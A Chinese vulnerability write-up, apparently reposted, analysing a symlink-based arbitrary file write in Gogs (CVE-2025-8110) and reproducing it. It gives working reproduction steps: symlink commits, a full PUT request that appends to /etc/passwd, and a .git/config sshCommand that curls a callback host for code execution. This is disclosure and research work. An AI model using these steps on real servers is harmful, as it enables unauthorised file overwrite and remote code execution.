CVE-2025-81100day绕过分析与复现

admin 2025-12-22 04:10:34 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: CVE-2025-8110是一个影响Gogs自助Git服务的0day漏洞,本质是任意文件写入漏洞。漏洞存在于UpdateRepoFile函数中,未对filePath参数进行校验,允许攻击者通过创建符号链接文件并利用PUT接口触发更新,实现任意文件写入。攻击者可通过覆写.git/config文件实现RCE。目前该漏洞尚未修复,影响约5万个资产,建议停止任意用户注册作为缓解措施。文章提供了详细的漏洞分析和复现步骤,包括创建符号链接、发送PUT请求等具体操作。 综合评分: 90 文章分类: 漏洞分析,漏洞POC,WEB安全,应用安全,漏洞预警


cover_image

CVE-2025-8110 0day 绕过分析与复现

船山信安

2025年12月16日 17:01 湖南

本文从gogs历史漏洞点入手,结合gogs源码对最新CVE-2025-8110 0day的绕过手法进行分析,结合复现过程给出CVE-2025-8110 0day的正确POC

前情提要

gogs是一款由go语言编写的一款极易搭建的自助 Git 服务.golang的一些web应用最常见出现的问题就是目录穿越了,同样观察前面gogs大部分的历史漏洞都是目录穿越然后覆盖关键文件造成RCE.今天这个CVE-2025-8110 同样也不例外!本质还是任意文件写入漏洞

据披露者的博客来看是在七月的一次应急过程中观察到的,截止到12/14 Github公开的都是错误的POC

影响范围

  1. 直到最新版本仍未修复
  2. 根据Fofa来看大概受影响资产为5w左右(可能大部分都是自建在内网?)

利用条件

  1. 存在PUT推送接口
  2. 可以任意注册用户
  3. 部署在Linux系统

分析

漏洞点

主要是看internal/database/repo_editor.go 这个文件中的UpdateRepoFile 函数

可以看到作者在这个文件上修复了12处,属于是事故高发区了

我们看到该文件的第191行,未对filePath 参数做任何校验

可以看到该函数的签名 WriteFile(name string, data []byte, perm FileMode)

第一个就是目标的文件名了,第二个是写入的数据,第三个是Mode

本身按照gogs的意思就是当仓库的变更时,gogs则会根据文件名写入变更后的新内容到磁盘,因此这个filePath 就是我们仓库里的一个文件名,这肯定是天然可控的~

将这个逻辑抽离出来看看写一个POC

  1. 首先创建一个软链接

  1. 运行下面POC

main.go

package main

import (
"log"
"os"
)

func main() {
        filePath := "/tmp/symlink"
        Content := "This is a test content ."
if err := os.WriteFile(filePath, []byte(Content), 0600); err != nil {
                log.Println("write file: %v", err)
        }
}

可以发现我们symlink软链接指向的origin文件被创建了,并且写入了我们指定的内容.当然这也符合软链接本身的正常用法,不是语言本身的问题.

所以只要我们将这个文件名指向一个符号链接即可,这在git里是可以的

这是git 用来表现符号链接的tree 对象

说白了就是我们可以提交一个提前在本地指向好的符号链接,并且gogs也是可以识别的.

那么在触发对这个文件进行变更时,gogs就会调用WriteFile函数进行写入,且写入的路径是我们最终指向的路径.*

上述的都是符号链接文件,可以看到相关的图标也有指示

ok,漏洞点就是这些了,那我们再来看看触发点~

触发点

CVE-2024-55947是同一个位置.

先看看UpdateRepoFile 函数的用法,总共3个*

根据前面的历史漏洞可以看到,就是PUT /repos/:username/:reponame/contents/* 触发的,同样这个地方也是*

跟进到internal/route/api/v1/repo/contents.go 看到 PutContents 函数

上面还有之前对CVE-2024-55947 路径穿越的修复,也就是文件路径参数净化

这是Clean函数的实现

func Clean(p string) string {
    p = strings.ReplaceAll(p, `\\`, "/")
return strings.Trim(path.Clean("/"+p), "/")
}

但是本次漏洞的成因是软链接,所以这种修复方式自然是拦不住我们的

分析总结

本质是通过上传一个符号链接文件,然后通过put接口触发Update,然后写入的目标路径会是符号链接所指向的最终路径,导致任意文件写入(覆盖).

漏洞复现

环境搭建

docker 拉取镜像启动即可,加速问题自己解决()

这里给出启动参数

docker run -d \
  --name gogs \
  -p 3000:3000 \
  -p 2022:22 \
  -v /var/gogs:/data \
  gogs/gogs

启动之后访问3000端口完成安全,注意安装数据选sqlite数据库即可然后不用在下面填管理员用户

安装完成后,我们只需后续在主页注册一个普通用户即可.

注册完成后登录,进入右上角头像处的用户设置,填入自己的ssh公钥即可,为我们后续推送恶意符号文件做准备.

再点击下面的授权应用生成一个令牌,我们后续PUT推送时需要用到

为了方便后续拉取镜像触发sshCommand(选做)

测试ssh是否连通,判断是否可以通过ssh git推送文件

ssh -T -p 2022 git@localhost

绑定 ~/.ssh/config

Host gogs
    HostName 192.168.1.104
    User git
    Port 2022
    IdentityFile ~/.ssh/id_rsa

本地挂几个软链接符号文件.

创建一个本地仓库,并绑定到远程

可按照下面指示操作

给出我用过的几个命令

git init repo
ln -s /etc/passwd secret-link
git config user.name "test"
git config user.email "[email protected]"
git remote add origin gogs:test/sss.git
git remote set-url origin ssh://git@localhost:2022/test/ccc.git

git add .
git commit -m "111"
git branch -M main
git push -u origin main
git pull origin main --rebase # 同步

这是我本地创建完的样子

然后推送到远端即可

可以看到符号链接的内容为我们想写入恶意内容的文件路径.

然后发送以下PUT数据包

PUT /api/v1/repos/test/aaa/contents/secret-link HTTP/1.1
Host: 192.168.1.104:3000
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: application/json
Cookie: i_like_gogs=5620203df2906ab5; lang=en-US
Authorization: token 05e726352765be3c010691ca10816146d51b522f
Content-Length: 78

{"message": "Create symlink", "content": "ZWNobyAiSGFja2VkIiA+PiAvZXRjL3Bhc3N3ZA==", "branch": "main"}

中间的content为echo "Hacked" >> /etc/passwd 的base64编码形式,注意自己是什么分支,默认是master分支!

注意指定的文件路径,对应到仓库页面

复现结果

来到docker容器内更便于我们观察

任意文件写入

可以看到正是将我们本地仓库创建的一个指向/tmp/pwned (手太快了,多打了个字~)的符号链接文件上传了,并且在目标机器上也同样生效

可以看到成功创建并写入了我们的恶意命令

RCE

披露者是通过覆写.git/config 文件来触发RCE的.

本质是仓库拥有者通过ssh协议对仓库做clone,pull等操作时触发恶意命令,所以还是需要搭配仓库所有者自己主动操作仓库时才可触发.这里就以我们自己注册的普通test 用户触发.

[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        ignorecase=true
        precomposeunicode=true
        sshCommand="curl 回连平台~"
[remote "origin"]
        url = ssh://git@localhost:2022/test/ccc.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main

然后PUT执行即可触发!

修复

目前作者还没有进行修复,好像好久没更新了~

如图, 哈哈哈哈哈

目前观察到的缓解措施就是停止任意用户的注册,相当于是把触发点入口给断了吧

转自:https://forum.butian.net/share/4680


查看原文:《CVE-2025-8110 0day 绕过分析与复现》

评论:0   参与:  3